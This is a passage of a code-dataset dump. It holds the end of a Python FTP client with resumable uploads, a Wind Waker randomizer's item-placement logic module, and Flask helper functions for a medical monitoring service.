文件已存在,后续补充功能\n print('\\033[1;31;1m 文件已存在,但是不完整,需要断点续传\\033[0m')\n self.cmd_put_put_data(file_total_size, filename)\n\n elif server_response == 400:\n print('\\033[1;31;1m 文件已存在\\033[0m')\n\n elif server_response == 500:\n print('\\033[1;31;1m 文件已存在服务器,但数据错误,请先删除服务器端文件\\033[0m')\n\n else:\n print('\\033[1;31;1m 未知错误!\\033[0m')\n\n else:\n \"\"\"100: 客户端无此文件 \"\"\"\n print('\\033[1;31;1m %s 目录下不存在此文件,请确认后重新上传文件\\033[0m' % filename)\n else:\n print('\\033[1;31;1m 命令错误,请重新执行命令')\n\n return None\n\n def cmd_put_put_data(self, file_total_size, filename):\n upload_flag = True\n while upload_flag:\n self.client.send(b'200')\n server_data = self.client.recv(1024)\n server_data = json.loads(server_data)\n server_data_size = server_data['server_data_size']\n\n if server_data_size < file_total_size:\n with open(filename, mode='rb') as f:\n f.seek(server_data_size, 0)\n line = f.read(1024)\n self.client.send(line)\n\n else:\n upload_flag = False\n\n percent = server_data_size / file_total_size\n self.progress(percent)\n\n return None\n\n\nif __name__ == '__main__':\n # 创建类\n ftp = FTP_Client()\n\n # 初始化连接\n ftp.connect(settings.HOST_IP, settings.HOST_PORT)\n\n # 调用交互功能,执行操作\n ftp.interactive()\n","sub_path":"Ftp_Client/ftp_client.py","file_name":"ftp_client.py","file_ext":"py","file_size_in_byte":12305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"585761681","text":"\nimport yaml\nimport re\nfrom collections import OrderedDict\nimport copy\n\nimport os\n\nfrom logic.item_types import PROGRESS_ITEMS, NONPROGRESS_ITEMS, CONSUMABLE_ITEMS, DUNGEON_PROGRESS_ITEMS, DUNGEON_NONPROGRESS_ITEMS\nfrom paths import LOGIC_PATH\n\nclass Logic:\n DUNGEON_NAMES = OrderedDict([\n (\"DRC\", \"Dragon Roost Cavern\"),\n (\"FW\", \"Forbidden Woods\"),\n (\"TotG\", \"Tower of the Gods\"),\n (\"FF\", \"Forsaken Fortress\"),\n (\"ET\", \"Earth Temple\"),\n (\"WT\", \"Wind Temple\"),\n ])\n \n PROGRESS_ITEM_GROUPS = OrderedDict([\n (\"Triforce Shards\", [\n \"Triforce Shard 1\",\n \"Triforce Shard 2\",\n \"Triforce Shard 3\",\n \"Triforce Shard 4\",\n \"Triforce Shard 5\",\n \"Triforce Shard 6\",\n \"Triforce Shard 7\",\n \"Triforce Shard 8\",\n ]),\n (\"Goddess Pearls\", [\n \"Nayru's Pearl\",\n \"Din's Pearl\",\n \"Farore's Pearl\",\n ]),\n ])\n \n def __init__(self, rando):\n self.rando = rando\n \n self.all_progress_items = PROGRESS_ITEMS.copy()\n self.all_nonprogress_items = NONPROGRESS_ITEMS.copy()\n self.all_consumable_items = CONSUMABLE_ITEMS.copy()\n \n self.triforce_chart_names = []\n self.treasure_chart_names = []\n for i in range(1, 8+1):\n self.triforce_chart_names.append(\"Triforce Chart %d\" % i)\n for i in range(1, 41+1):\n self.treasure_chart_names.append(\"Treasure Chart %d\" % i)\n \n if self.rando.options.get(\"progression_triforce_charts\"):\n self.all_progress_items += self.triforce_chart_names\n else:\n self.all_nonprogress_items += self.triforce_chart_names\n if self.rando.options.get(\"progression_treasure_charts\"):\n self.all_progress_items += self.treasure_chart_names\n else:\n self.all_nonprogress_items += self.treasure_chart_names\n \n # Add dungeon items to the progress/nonprogress items lists.\n if self.rando.options.get(\"progression_dungeons\"):\n self.all_progress_items += DUNGEON_PROGRESS_ITEMS\n else:\n self.all_nonprogress_items += DUNGEON_PROGRESS_ITEMS\n self.all_nonprogress_items += DUNGEON_NONPROGRESS_ITEMS\n \n # Tell the randomizer to register dungeon-specific item names as the normal items.\n for dungeon_item_name in (DUNGEON_PROGRESS_ITEMS + DUNGEON_NONPROGRESS_ITEMS):\n regular_item_name = dungeon_item_name.split(\" \", 1)[1]\n self.rando.item_name_to_id[dungeon_item_name] = self.rando.item_name_to_id[regular_item_name]\n \n self.unplaced_progress_items = self.all_progress_items.copy()\n self.unplaced_nonprogress_items = self.all_nonprogress_items.copy()\n self.unplaced_consumable_items = self.all_consumable_items.copy()\n \n self.progress_item_groups = copy.deepcopy(self.PROGRESS_ITEM_GROUPS)\n \n # Replace progress items that are part of a group with the group name instead.\n for group_name, item_names in self.progress_item_groups.items():\n for item_name in item_names:\n self.unplaced_progress_items.remove(item_name)\n self.unplaced_progress_items += self.progress_item_groups.keys()\n \n self.currently_owned_items = []\n \n self.all_cleaned_item_names = []\n for item_name in (self.all_progress_items + self.all_nonprogress_items + self.all_consumable_items):\n cleaned_item_name = self.clean_item_name(item_name)\n if cleaned_item_name not in self.all_cleaned_item_names:\n self.all_cleaned_item_names.append(cleaned_item_name)\n \n self.item_locations = Logic.load_and_parse_item_locations()\n self.load_and_parse_macros()\n \n self.locations_by_zone_name = OrderedDict()\n for location_name in self.item_locations:\n zone_name, specific_location_name = self.split_location_name_by_zone(location_name)\n if zone_name not in self.locations_by_zone_name:\n self.locations_by_zone_name[zone_name] = []\n self.locations_by_zone_name[zone_name].append(location_name)\n \n self.remaining_item_locations = list(self.item_locations.keys())\n self.prerandomization_dungeon_item_locations = OrderedDict()\n \n self.done_item_locations = OrderedDict()\n for location_name in self.item_locations:\n self.done_item_locations[location_name] = None\n \n self.rock_spire_shop_ship_locations = []\n for location_name, location in self.item_locations.items():\n if location_name.startswith(\"Rock Spire Isle - Beedle's Special Shop Ship - \"):\n self.rock_spire_shop_ship_locations.append(location_name)\n \n # These are needed when calculating progression spheres if dungeon entrance rando/chart rando are on.\n self.update_dungeon_entrance_macros()\n self.update_chart_macros()\n \n for item_name in self.rando.starting_items:\n self.add_owned_item(item_name)\n \n for group_name, group_item_names in self.progress_item_groups.items():\n items_to_remove_from_group = [\n item_name for item_name in group_item_names\n if item_name in self.rando.starting_items\n ]\n for item_name in items_to_remove_from_group:\n self.progress_item_groups[group_name].remove(item_name)\n if len(self.progress_item_groups[group_name]) == 0:\n self.unplaced_progress_items.remove(group_name)\n \n def set_location_to_item(self, location_name, item_name):\n #print(\"Setting %s to %s\" % (location_name, item_name))\n \n if self.done_item_locations[location_name]:\n raise Exception(\"Location was used twice: \" + location_name)\n \n self.done_item_locations[location_name] = item_name\n self.remaining_item_locations.remove(location_name)\n \n self.add_owned_item(item_name)\n \n def set_multiple_locations_to_group(self, available_locations, group_name):\n items_in_group = self.progress_item_groups[group_name]\n \n if len(available_locations) < len(items_in_group):\n raise Exception(\"Not enough locations to place all items in group %s\" % group_name)\n \n for i, item_name in enumerate(items_in_group):\n location_name = available_locations[i]\n self.set_location_to_item(location_name, item_name)\n \n self.unplaced_progress_items.remove(group_name)\n \n def set_prerandomization_dungeon_item_location(self, location_name, item_name):\n # Temporarily keep track of where dungeon-specific items are placed before the main progression item randomization loop starts.\n assert self.is_dungeon_item(item_name)\n assert location_name in self.item_locations\n self.prerandomization_dungeon_item_locations[location_name] = item_name\n \n def get_num_progression_items(self):\n num_progress_items = 0\n for item_name in self.unplaced_progress_items:\n if item_name in self.progress_item_groups:\n group_name = item_name\n for item_name in self.progress_item_groups[group_name]:\n num_progress_items += 1\n else:\n num_progress_items += 1\n \n return num_progress_items\n \n def get_num_progression_locations(self):\n return Logic.get_num_progression_locations_static(self.item_locations, self.rando.options)\n \n @staticmethod\n def get_num_progression_locations_static(item_locations, options):\n progress_locations = Logic.filter_locations_for_progression_static(\n item_locations.keys(),\n item_locations,\n options,\n filter_sunken_treasure=True\n )\n num_progress_locations = len(progress_locations)\n if options.get(\"progression_triforce_charts\"):\n num_progress_locations += 8\n if options.get(\"progression_treasure_charts\"):\n num_progress_locations += 41\n \n return num_progress_locations\n \n def get_progress_and_non_progress_locations(self):\n all_locations = self.item_locations.keys()\n progress_locations = self.filter_locations_for_progression(all_locations, filter_sunken_treasure=True)\n nonprogress_locations = []\n for location_name in all_locations:\n if location_name in progress_locations:\n continue\n \n types = self.item_locations[location_name][\"Types\"]\n if \"Sunken Treasure\" in types:\n chart_name = self.chart_name_for_location(location_name)\n if \"Triforce Chart\" in chart_name:\n if self.rando.options.get(\"progression_triforce_charts\"):\n progress_locations.append(location_name)\n else:\n nonprogress_locations.append(location_name)\n else:\n if self.rando.options.get(\"progression_treasure_charts\"):\n progress_locations.append(location_name)\n else:\n nonprogress_locations.append(location_name)\n else:\n nonprogress_locations.append(location_name)\n \n return (progress_locations, nonprogress_locations)\n \n def add_owned_item(self, item_name):\n cleaned_item_name = self.clean_item_name(item_name)\n if cleaned_item_name not in self.all_cleaned_item_names:\n raise Exception(\"Unknown item name: \" + item_name)\n \n self.currently_owned_items.append(cleaned_item_name)\n \n if item_name in self.unplaced_progress_items:\n self.unplaced_progress_items.remove(item_name)\n elif item_name in self.unplaced_nonprogress_items:\n self.unplaced_nonprogress_items.remove(item_name)\n elif item_name in self.unplaced_consumable_items:\n self.unplaced_consumable_items.remove(item_name)\n \n def remove_owned_item(self, item_name):\n cleaned_item_name = self.clean_item_name(item_name)\n if cleaned_item_name not in self.all_cleaned_item_names:\n raise Exception(\"Unknown item name: \" + item_name)\n \n self.currently_owned_items.remove(cleaned_item_name)\n \n if item_name in self.all_progress_items:\n self.unplaced_progress_items.append(item_name)\n elif item_name in self.all_nonprogress_items:\n self.unplaced_nonprogress_items.append(item_name)\n elif item_name in self.all_consumable_items:\n self.unplaced_consumable_items.append(item_name)\n \n def add_owned_item_or_item_group(self, item_name):\n if item_name in self.progress_item_groups:\n group_name = item_name\n for item_name in self.progress_item_groups[group_name]:\n self.currently_owned_items.append(item_name)\n else:\n self.add_owned_item(item_name)\n \n def remove_owned_item_or_item_group(self, item_name):\n if item_name in self.progress_item_groups:\n group_name = item_name\n for item_name in self.progress_item_groups[group_name]:\n self.currently_owned_items.remove(item_name)\n else:\n self.remove_owned_item(item_name)\n \n def get_accessible_remaining_locations(self, for_progression=False):\n accessible_location_names = []\n \n locations_to_check = self.remaining_item_locations\n if for_progression:\n locations_to_check = self.filter_locations_for_progression(locations_to_check)\n \n for location_name in locations_to_check:\n requirement_expression = self.item_locations[location_name][\"Need\"]\n if self.check_logical_expression_req(requirement_expression):\n accessible_location_names.append(location_name)\n \n return accessible_location_names\n \n def get_first_useful_item(self, items_to_check, for_progression=False):\n # Searches through a given list of items and returns the first one that opens up at least 1 new location.\n # The randomizer shuffles the list before passing it to this function, so in effect it picks a random useful item.\n \n accessible_undone_locations = self.get_accessible_remaining_locations(for_progression=for_progression)\n inaccessible_undone_item_locations = []\n locations_to_check = self.remaining_item_locations\n if for_progression:\n locations_to_check = self.filter_locations_for_progression(locations_to_check)\n for location_name in locations_to_check:\n if location_name not in accessible_undone_locations:\n inaccessible_undone_item_locations.append(location_name)\n \n for item_name in items_to_check:\n self.add_owned_item_or_item_group(item_name)\n \n for location_name in inaccessible_undone_item_locations:\n if location_name in self.prerandomization_dungeon_item_locations:\n # We don't care about unlocking a new location if that new location was predetermined to have a dungeon item in it.\n # The dungeon item it unlocks might be useless, so we can't risk it.\n continue\n \n requirement_expression = self.item_locations[location_name][\"Need\"]\n if self.check_logical_expression_req(requirement_expression):\n self.remove_owned_item_or_item_group(item_name)\n return item_name\n \n self.remove_owned_item_or_item_group(item_name)\n \n return None\n \n def filter_locations_for_progression(self, locations_to_filter, filter_sunken_treasure=False):\n return Logic.filter_locations_for_progression_static(\n locations_to_filter,\n self.item_locations,\n self.rando.options,\n filter_sunken_treasure=filter_sunken_treasure\n )\n \n @staticmethod\n def filter_locations_for_progression_static(locations_to_filter, item_locations, options, filter_sunken_treasure=False):\n filtered_locations = []\n for location_name in locations_to_filter:\n types = item_locations[location_name][\"Types\"]\n if \"No progression\" in types:\n continue\n if \"Tingle Statue Chest\" in types:\n continue\n if \"Dungeon\" in types and not options.get(\"progression_dungeons\"):\n continue\n if \"Great Fairy\" in types and not options.get(\"progression_great_fairies\"):\n continue\n if \"Puzzle Secret Cave\" in types and not options.get(\"progression_puzzle_secret_caves\"):\n continue\n if \"Combat Secret Cave\" in types and not options.get(\"progression_combat_secret_caves\"):\n continue\n if \"Short Sidequest\" in types and not options.get(\"progression_short_sidequests\"):\n continue\n if \"Long Sidequest\" in types and not options.get(\"progression_long_sidequests\"):\n continue\n if \"Spoils Trading\" in types and not options.get(\"progression_spoils_trading\"):\n continue\n if \"Minigame\" in types and not options.get(\"progression_minigames\"):\n continue\n if \"Free Gift\" in types and not options.get(\"progression_free_gifts\"):\n continue\n if \"Mail\" in types and not options.get(\"progression_mail\"):\n continue\n if (\"Platform\" in types or \"Raft\" in types) and not options.get(\"progression_platforms_rafts\"):\n continue\n if \"Submarine\" in types and not options.get(\"progression_submarines\"):\n continue\n if \"Eye Reef Chest\" in types and not options.get(\"progression_eye_reef_chests\"):\n continue\n if (\"Big Octo\" in types or \"Gunboat\" in types) and not options.get(\"progression_big_octos_gunboats\"):\n continue\n if \"Expensive Purchase\" in types and not options.get(\"progression_expensive_purchases\"):\n continue\n if (\"Other Chest\" in types or \"Misc\" in types) and not options.get(\"progression_misc\"):\n continue\n if \"Sunken Treasure\" in types and filter_sunken_treasure:\n continue\n # Note: The Triforce/Treasure Chart sunken treasures are handled differently from other types.\n # During randomization they are handled by not considering the charts themselves to be progress items.\n # That results in the item randomizer considering these locations inaccessible until after all progress items are placed.\n # But when calculating the total number of progression locations, sunken treasures are filtered out entirely here so they can be specially counted elsewhere.\n \n filtered_locations.append(location_name)\n \n return filtered_locations\n \n def check_item_valid_in_location(self, item_name, location_name):\n # Don't allow dungeon items to appear outside their proper dungeon or they wouldn't work correctly.\n if self.is_dungeon_item(item_name) and not self.rando.options.get(\"keylunacy\"):\n short_dungeon_name = item_name.split(\" \")[0]\n dungeon_name = self.DUNGEON_NAMES[short_dungeon_name]\n zone_name, specific_location_name = self.split_location_name_by_zone(location_name)\n if dungeon_name != zone_name:\n # Not a dungeon, or the wrong dungeon.\n return False\n if \"Sunken Treasure\" in self.item_locations[location_name][\"Types\"]:\n # Sunken treasure wouldn't work because the stage ID would be the sea's, not the dungeon's.\n return False\n if location_name in [\"Forsaken Fortress - Phantom Ganon\", \"Forsaken Fortress - Helmaroc King Heart Container\"]:\n # Same as above, these are outdoors so the stage ID would be the sea's, not the Forsaken Fortress's.\n return False\n \n # Beedle's shop does not work properly if the same item is in multiple slots of the same shop.\n # Ban the Bait Bag slot from having bait.\n if location_name == \"The Great Sea - Beedle's Shop Ship - Bait Bag\" and item_name in [\"All-Purpose Bait\", \"Hyoi Pear\"]:\n return False\n \n # Also ban the same item from appearing more than once in the rock spire shop ship.\n if location_name in self.rock_spire_shop_ship_locations:\n for other_location_name in self.rock_spire_shop_ship_locations:\n if other_location_name == location_name:\n continue\n if other_location_name in self.done_item_locations:\n other_item_name = self.done_item_locations[other_location_name]\n if item_name == other_item_name:\n return False\n \n # Our code to fix Zunari's Magic Armor item gift relies on the items Zunari gives all having different IDs.\n # Therefore we don't allow the other two items Zunari gives to be placed in the Magic Armor slot.\n if location_name == \"Windfall Island - Zunari - Stock Exotic Flower in Zunari's Shop\" and item_name in [\"Town Flower\", \"Boat's Sail\"]:\n return False\n \n return True\n \n def filter_items_by_any_valid_location(self, items, locations):\n # Filters out items that cannot be in any of the given possible locations.\n valid_items = []\n for item_name in items:\n if item_name in self.progress_item_groups:\n group_name = item_name\n items_in_group = self.progress_item_groups[group_name]\n if len(items_in_group) > len(locations):\n # Not enough locations to place all items in this group.\n continue\n # If the number of locations is sufficient, we consider this group able to be placed.\n # NOTE: We do not check if each individual item in the group can also be placed.\n # This is fine for shards and pearls, but would be incorrect for items that actually have location restrictions.\n valid_items.append(group_name)\n else:\n for location_name in locations:\n if self.check_item_valid_in_location(item_name, location_name):\n valid_items.append(item_name)\n break\n return valid_items\n \n def filter_locations_valid_for_item(self, locations, item_name):\n valid_locations = []\n for location_name in locations:\n if self.check_item_valid_in_location(item_name, location_name):\n valid_locations.append(location_name)\n return valid_locations\n \n def filter_items_valid_for_location(self, items, location_name):\n valid_items = []\n for item_name in items:\n if self.check_item_valid_in_location(item_name, location_name):\n valid_items.append(item_name)\n return valid_items\n \n @staticmethod\n def load_and_parse_item_locations():\n with open(os.path.join(LOGIC_PATH, \"item_locations.txt\")) as f:\n item_locations = yaml.load(f, YamlOrderedDictLoader)\n \n for location_name in item_locations:\n req_string = item_locations[location_name][\"Need\"]\n if req_string is None:\n # TODO, blank reqs should be an error. Temporarily we will just consider them to be impossible.\n item_locations[location_name][\"Need\"] = Logic.parse_logic_expression(\"TODO\")\n else:\n item_locations[location_name][\"Need\"] = Logic.parse_logic_expression(req_string)\n \n types_string = item_locations[location_name][\"Types\"]\n types = types_string.split(\",\")\n types = [type.strip() for type in types]\n item_locations[location_name][\"Types\"] = types\n \n return item_locations\n \n def load_and_parse_macros(self):\n with open(os.path.join(LOGIC_PATH, \"macros.txt\")) as f:\n macro_strings = yaml.safe_load(f)\n self.macros = {}\n for macro_name, req_string in macro_strings.items():\n self.set_macro(macro_name, req_string)\n \n def set_macro(self, macro_name, req_string):\n self.macros[macro_name] = Logic.parse_logic_expression(req_string)\n \n def update_dungeon_entrance_macros(self):\n # Update all the dungeon access macros to take randomized entrances into account.\n for entrance_name, dungeon_name in self.rando.dungeon_entrances.items():\n dungeon_access_macro_name = \"Can Access \" + dungeon_name\n dungeon_entrance_access_macro_name = \"Can Access \" + entrance_name\n self.set_macro(dungeon_access_macro_name, dungeon_entrance_access_macro_name)\n \n def temporarily_make_dungeon_entrance_macros_impossible(self):\n # Update all the dungeon access macros to be considered \"Impossible\".\n # Useful when the dungeon entrance randomizer is selecting which dungeons should be allowed where.\n for entrance_name, dungeon_name in self.rando.dungeon_entrances.items():\n dungeon_access_macro_name = \"Can Access \" + dungeon_name\n self.set_macro(dungeon_access_macro_name, \"Impossible\")\n \n def update_chart_macros(self):\n # Update all the \"Chart for Island\" macros to take randomized charts into account.\n for island_number in range(1, 49+1):\n chart_macro_name = \"Chart for Island %d\" % island_number\n chart_item_name = self.rando.island_number_to_chart_name[island_number]\n \n if \"Triforce Chart\" in chart_item_name:\n req_string = \"%s & Any Wallet Upgrade\" % chart_item_name\n else:\n req_string = chart_item_name\n \n self.set_macro(chart_macro_name, req_string)\n \n def clean_item_name(self, item_name):\n # Remove parentheses from any item names that may have them. (Formerly Master Swords, though that's not an issue anymore.)\n return item_name.replace(\"(\", \"\").replace(\")\", \"\")\n \n def split_location_name_by_zone(self, location_name):\n if \" - \" in location_name:\n zone_name, specific_location_name = location_name.split(\" - \", 1)\n else:\n zone_name = specific_location_name = location_name\n \n return zone_name, specific_location_name\n \n def is_dungeon_item(self, item_name):\n return (item_name in DUNGEON_PROGRESS_ITEMS or item_name in DUNGEON_NONPROGRESS_ITEMS)\n \n @staticmethod\n def parse_logic_expression(string):\n tokens = [str.strip() for str in re.split(\"([&|()])\", string)]\n tokens = [token for token in tokens if token != \"\"]\n \n stack = []\n for token in tokens:\n if token == \"(\":\n stack.append(\"(\")\n elif token == \")\":\n nested_tokens = []\n \n nested_parentheses_level = 0\n while len(stack) != 0:\n exp = stack.pop()\n if exp == \"(\":\n if nested_parentheses_level == 0:\n break\n else:\n nested_parentheses_level -= 1\n if exp == \")\":\n nested_parentheses_level += 1\n nested_tokens.append(exp)\n \n nested_tokens.reverse()\n stack.append(\"(\")\n stack.append(nested_tokens)\n stack.append(\")\")\n else:\n stack.append(token)\n \n return stack\n \n def check_requirement_met(self, req_name):\n if req_name.startswith(\"Progressive \"):\n return self.check_progressive_item_req(req_name)\n elif \" Small Key x\" in req_name:\n return self.check_small_key_req(req_name)\n elif req_name.startswith(\"Can Access Other Location \\\"\"):\n return self.check_other_location_requirement(req_name)\n elif req_name in self.all_cleaned_item_names:\n return req_name in self.currently_owned_items\n elif req_name in self.macros:\n logical_expression = self.macros[req_name]\n return self.check_logical_expression_req(logical_expression)\n elif req_name == \"Nothing\":\n return True\n elif req_name == \"Impossible\":\n return False\n else:\n raise Exception(\"Unknown requirement name: \" + req_name)\n \n def check_logical_expression_req(self, logical_expression):\n expression_type = None\n subexpression_results = []\n tokens = logical_expression.copy()\n tokens.reverse()\n while tokens:\n token = tokens.pop()\n if token == \"|\":\n if expression_type == \"AND\":\n raise Exception(\"Error parsing progression requirements: & and | must not be within the same nesting level.\")\n expression_type = \"OR\"\n elif token == \"&\":\n if expression_type == \"OR\":\n raise Exception(\"Error parsing progression requirements: & and | must not be within the same nesting level.\")\n expression_type = \"AND\"\n elif token == \"(\":\n nested_expression = tokens.pop()\n if nested_expression == \"(\":\n # Nested parentheses\n nested_expression = [\"(\"] + tokens.pop()\n result = self.check_logical_expression_req(nested_expression)\n subexpression_results.append(result)\n assert tokens.pop() == \")\"\n else:\n # Subexpression.\n result = self.check_requirement_met(token)\n subexpression_results.append(result)\n \n if expression_type == \"OR\":\n return any(subexpression_results)\n else:\n return all(subexpression_results)\n \n def check_progressive_item_req(self, req_name):\n match = re.search(r\"^(Progressive .+) x(\\d+)$\", req_name)\n item_name = match.group(1)\n num_required = int(match.group(2))\n \n num_owned = self.currently_owned_items.count(item_name)\n return num_owned >= num_required\n \n def check_small_key_req(self, req_name):\n match = re.search(r\"^(.+ Small Key) x(\\d+)$\", req_name)\n small_key_name = match.group(1)\n num_keys_required = int(match.group(2))\n \n num_small_keys_owned = self.currently_owned_items.count(small_key_name)\n return num_small_keys_owned >= num_keys_required\n \n def check_other_location_requirement(self, req_name):\n match = re.search(r\"^Can Access Other Location \\\"([^\\\"]+)\\\"$\", req_name)\n other_location_name = match.group(1)\n \n requirement_expression = self.item_locations[other_location_name][\"Need\"]\n return self.check_logical_expression_req(requirement_expression)\n \n def chart_name_for_location(self, location_name):\n reqs = self.item_locations[location_name][\"Need\"]\n chart_req = next(req for req in reqs if req.startswith(\"Chart for Island \"))\n \n reqs = self.macros[chart_req]\n chart_name = reqs[0]\n assert chart_name in self.all_cleaned_item_names\n \n return chart_name\n\nclass YamlOrderedDictLoader(yaml.SafeLoader):\n pass\n\nYamlOrderedDictLoader.add_constructor(\n yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG,\n lambda loader, node: OrderedDict(loader.construct_pairs(node))\n)\n","sub_path":"logic/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":26905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"566270303","text":"import json\nimport threading\nfrom datetime import datetime, timedelta\nfrom flask import request, abort, jsonify, render_template\nfrom config import *\nfrom sentry_sdk import capture_exception\nfrom pytz import timezone\nimport sys, os\n\nDATACACHE = {}\n\n\ndef gts():\n now = datetime.now()\n return now.strftime(\"%Y-%m-%d %H:%M:%S - \")\n\n\ndef log(error, terminating=False):\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n\n if PRODUCTION:\n capture_exception(error)\n\n if terminating:\n print(gts(), exc_type, fname, exc_tb.tb_lineno, error, \"CRITICAL\")\n else:\n print(gts(), exc_type, fname, exc_tb.tb_lineno, error)\n\n\n# decorators\ndef verify_args(func):\n def wrapper(*args, **kargs):\n if not request.args.get('contract_id'):\n abort(422)\n if request.args.get('api_key') != API_KEY:\n abort(401)\n try:\n return func(request.args, request.form, *args, **kargs)\n except Exception as e:\n log(e, True)\n abort(500)\n\n wrapper.__name__ = func.__name__\n return wrapper\n\n\ndef only_doctor_args(func):\n def wrapper(*args, **kargs):\n if not request.args.get('contract_id'):\n abort(422)\n if request.args.get('api_key') != API_KEY:\n abort(401)\n # if request.args.get('source') == 'patient':\n # abort(401)\n try:\n return func(request.args, request.form, *args, **kargs)\n except Exception as e:\n log(e, True)\n abort(500)\n\n wrapper.__name__ = func.__name__\n return wrapper\n\n\ndef verify_json(func):\n def wrapper(*args, **kargs):\n if not request.json.get('contract_id') and \"status\" not in request.url:\n abort(422)\n if request.json.get('api_key') != API_KEY:\n abort(401)\n # return func(request.json, *args, **kargs)\n try:\n return func(request.json, *args, **kargs)\n except Exception as e:\n log(e, True)\n abort(500)\n\n wrapper.__name__ = func.__name__\n return wrapper\n\n\ndef get_ui(page, contract, categories='[]', object_id=None, is_preview=False, dashboard_parts=[]):\n return render_template('index.html', page=page, object_id=object_id,\n contract_id=contract.id if contract else 'undefined',\n api_host=MAIN_HOST.replace('8001', '8000'), local_host=LOCALHOST,\n agent_token=contract.agent_token if contract else 'undefined',\n agent_id=AGENT_ID, categories=json.dumps(categories),\n is_admin=str(bool(contract.is_admin)).lower() if contract else 'false',\n lc=dir_last_updated('static'), clinic_id=contract.clinic_id if contract else 'undefined',\n is_preview=str(is_preview).lower(), dashboard_parts=json.dumps(dashboard_parts))\n\n\ndef delayed(delay, f, args):\n timer = threading.Timer(delay, f, args=args)\n timer.start()\n\n\ndef dir_last_updated(folder):\n return str(max(os.path.getmtime(os.path.join(root_path, f))\n for root_path, dirs, files in os.walk(folder)\n for f in files))\n\n\ndef generate_event_description(criteria, l_value, r_value, category_names, current_answer):\n if criteria.get('left_mode') == 'value' and criteria.get('right_mode') == 'value' and criteria.get('sign') in [\n 'equal', 'contains'] and current_answer:\n if not current_answer.get('params', {}).get('type'):\n return \"\"\n\n if current_answer['params'].get('type') != 'checkbox':\n return \"{} : {}\".format(current_answer['params']['question_text'],\n current_answer['params']['answer'])\n else:\n return \"{}\".format(current_answer['params']['answer'])\n\n signs = {\n \"equal\": \"равно\",\n \"not_equal\": \"не равно\",\n \"greater\": \"больше\",\n \"less\": \"меньше\",\n \"greater_or_equal\": \"больше или равно\",\n \"less_or_equal\": \"меньше или равно\",\n \"contains\": \"содержит\",\n \"date_equal\": \"равно\",\n \"date_not_equal\": \"не равно\",\n \"date_greater\": \"больше\",\n \"date_less\": \"меньше\",\n \"date_greater_or_equal\": \"больше или равно\",\n \"date_less_or_equal\": \"меньше или равно\",\n }\n\n left_modes = {\n \"value\": \"Значение \",\n \"category_value\": \"Значение \",\n \"sum\": \"Сумма \",\n \"difference\": \"Разность крайних значений \",\n \"delta\": \"Разброс \",\n \"average\": \"Среднее значение \",\n \"count\": \"Количество значений \",\n \"max\": \"Максимальному значение \",\n \"min\": \"Минимальное значение \"\n }\n\n right_modes = {\n \"sum\": \"сумме\",\n \"difference\": \"разности крайних значений\",\n \"delta\": \"разбросу\",\n \"count\": \"количеству значений\",\n \"average\": \"среднему значению\",\n \"max\": \"максимальному значению\",\n \"min\": \"минимальному значению\"\n }\n\n LEFT_MODE = left_modes.get(criteria.get('left_mode'))\n LEFT_CATEGORY = category_names.get(criteria.get('category'))\n SIGN = signs[criteria.get('sign')]\n\n if criteria.get('sign') not in ['equal', 'contains'] or criteria.get('left_mode') != 'value':\n comment = \"{} '{}' ({} ) {} \".format(LEFT_MODE, LEFT_CATEGORY, l_value, SIGN)\n else:\n comment = \"{} '{}' {} \".format(LEFT_MODE, LEFT_CATEGORY, SIGN)\n\n if criteria.get('right_mode') in ['value', 'category_value']:\n comment += \"{} \".format(criteria.get('value'))\n else:\n comment += \"{} за {} часа (ов) ({} )\".format(right_modes[criteria.get('right_mode')],\n criteria.get('right_hours'), r_value)\n\n if criteria.get('right_category'):\n comment += \" '{}'\".format(category_names.get(criteria.get('right_category')))\n\n return comment\n\n\ndef generate_contract_description(contract):\n description = \"\"\n\n if contract.forms:\n description += 'Назначены опросники: - '\n description += ' - '.join(map(lambda x: x.get_description(), contract.forms))\n\n description += ' '\n else:\n description += 'Опросников пока не назначено. '\n\n if contract.medicines:\n description += 'Назначены лекарства: - '\n description += ' - '.join(map(lambda x: x.get_description(), contract.medicines))\n\n description += ' '\n else:\n description += 'Лекарств пока не назначено. '\n\n return description\n\n\ndef get_step(algorithm, step=None):\n if not step:\n step = algorithm.current_step\n\n if not step:\n step = algorithm.initial_step\n\n return next(s for s in algorithm.steps if s['uid'] == step)\n\n\ndef generate_timetable(start, end, times):\n if times < 1:\n return {\n \"mode\": \"manual\"\n }\n\n timetable = {\n \"mode\": \"daily\",\n \"points\": []\n }\n\n try:\n step = (end - start) / (times - 1)\n\n pos = start\n while pos <= end:\n timetable['points'].append({\n \"hour\": int(pos),\n \"minute\": int((pos - int(pos)) * 60)\n })\n\n pos += step\n except:\n timetable['points'].append({\n \"hour\": start,\n \"minute\": 0\n })\n\n return timetable\n\n\ndef timezone_now(zone=None):\n if zone:\n tz = timezone(zone)\n else:\n tz = timezone('Europe/Moscow')\n return datetime.now(tz)\n\n\ndef localize(d, zone=None):\n if zone:\n tz = timezone(zone)\n else:\n tz = timezone('Europe/Moscow')\n return tz.localize(d)\n\n\ndef fullfill_message(text, contract, medsenger_api):\n def fullfill(text, info, a, b):\n L = b.split('.')\n v = info\n for c in L:\n v = v.get(c)\n\n if not v:\n break\n\n return text.replace(a, str(v))\n\n keys = {\n 'CONTRACT_DAYS': 'days',\n 'PATIENT_NAME': 'name',\n 'DOCTOR_NAME': 'doctor_name',\n 'SCENARIO_NAME': 'scenario.name',\n 'DOCTOR_PHONE': 'doctor_phone'\n }\n\n info = None\n\n for key in keys:\n if key in text:\n if not info:\n info = medsenger_api.get_patient_info(contract.id)\n text = fullfill(text, info, key, keys[key])\n\n if 'CONTRACT_DESCRIPTION' in text:\n text = text.replace('CONTRACT_DESCRIPTION', generate_contract_description(contract))\n\n return text\n\ndef clear_categories(categories_string):\n if categories_string:\n return '|'.join(set(categories_string.strip('|').split('|')))\n return categories_string\n\n","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":9223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
